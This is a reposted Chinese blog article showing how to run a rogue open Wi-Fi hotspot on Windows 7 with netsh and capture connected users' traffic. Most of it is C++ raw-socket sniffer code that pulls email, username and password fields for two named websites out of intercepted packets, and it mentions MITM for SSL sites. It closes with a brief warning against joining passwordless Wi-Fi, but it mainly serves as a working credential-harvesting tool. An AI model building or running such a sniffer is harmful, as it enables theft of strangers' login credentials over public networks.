Windows下的无线热点蜜罐_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

Windows下的无线热点蜜罐

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


Windows下的无线热点蜜罐

Windows下的无线热点蜜罐 作者:半斤八兩 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教! 在许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨,  “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛? WIFI即Hotspot也称无线热点,是指在公共场所提供无线局域网(WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet的接入。 试验平台:winn7 x86 台式机 工具: 无线网卡(USB)接收器 首先们来说一下怎样搭建wifi 蜜罐. Win7下有一个命令可以创建个wifi. netsh wlan set hostednetwork ssid=pass:123456789 key=123456789 Ssid 就是上图中显示的东西. 防止别人不知道密码,我们就改成 pass:123456789 Key 我们就直接弄成 123456789 这里要注意, ssid 尽量不要弄中文的.经本人测试,发现iphone不支持中文ssid. 然后我们用命令启动它. netsh wlan start hostednetwork 这一些前提是我们要先插上wifi 接收器. 否则我们创建虚拟wifi 是不会成功的. 现在创建好了,我们写个抓包小程序,就可以等着chicken上勾就行了. 抓包我们要用混杂模式. 混杂模式可以抓到当前电脑所有网卡数据包. #include #include #include "DataStruct.h" #include "InitSocket.h" #include #include "mstcpip.h" using namespace std; CInitSocket initSock; int nRet = 0; void IsWifiHoneypots(PCHAR pBuff) {     PIPHEADER pIphdr = (PIPHEADER)pBuff;      pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);      PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;      memset(szText, ' ', nRet);      int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);      memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);          int i = 0;     char szEmail[MAXBYTE] = {0};     PCHAR pEmail = szEmail;       if(strstr(szText, "wooyun.org"))     if(strstr(szText, "email"))     {         puts("--------------------------------------------");         cout<<"found Wooyun.org password:" << endl;          pEmail = strstr(szText, "email");          for(i = 0; (pEmail[i] != '&'); i++);           pEmail[i] = '\0';                    puts(pEmail);            pEmail += i + 1;            if(strstr(pEmail, "password"))          {                      pEmail = strstr(pEmail, "password");                           for(i = 0; (pEmail[i] != '&'); i++);                          pEmail[i] = '\0';                          puts(pEmail);         }          puts("--------------------------------------------");     }         if(strstr(szText, "pediy.com"))          if(strstr(szText, "username"))          {              puts("--------------------------------------------");              cout<<"found pediy.com password:" << endl;                            pEmail = strstr(szText, "username");                            for(i = 0; (pEmail[i] != '&'); i++);                            pEmail[i] = '\0';                            puts(pEmail);                            pEmail += i + 1;                            if(strstr(pEmail, "md5password_utf="))              {                          pEmail = strstr(pEmail, "md5password_utf=");                                    for(i = 0; (pEmail[i] != 0x20); i++);                                    pEmail[i] = '\0';                                    puts(pEmail);              }                            puts("--------------------------------------------");      }  }    int main(void)  {      system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");        SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);        char szHostName[56];       SOCKADDR_IN localAddr;          struct hostent *pHost;     gethostname(szHostName, 56);     if ((pHost = gethostbyname((char*)szHostName)) == NULL)     {         return 0;     }     localAddr.sin_family = AF_INET;     localAddr.sin_port  = htons(0);     memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);      if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)     {         return 0;     }      DWORD dwValue = 1;      if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)     {         return 0;     }      cout << "<>" << endl << endl;      char buff[1024];     while(true)     {         nRet = recv(sRaw, buff, 1024, 0);         if (nRet > 0)         {             buff[nRet] = '\0';             IsWifiHoneypots(buff);         }     }     closesocket(sRaw);     return 0; } 为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少BUG.但是wooyun 和 看雪的,应该都能抓到了.) Wooyun的post直接是明文的密码, 看雪的还是做了md5 处理. 如果遇到了ssl的可以用mitm 处理. (这里就不说了,网上有很多资料.) 通过文篇文章大家应该注意 不要随意上没有密码的 wifi.. 转自 博客:http://cnblogs.com/bjblcracked

Windows下的无线热点蜜罐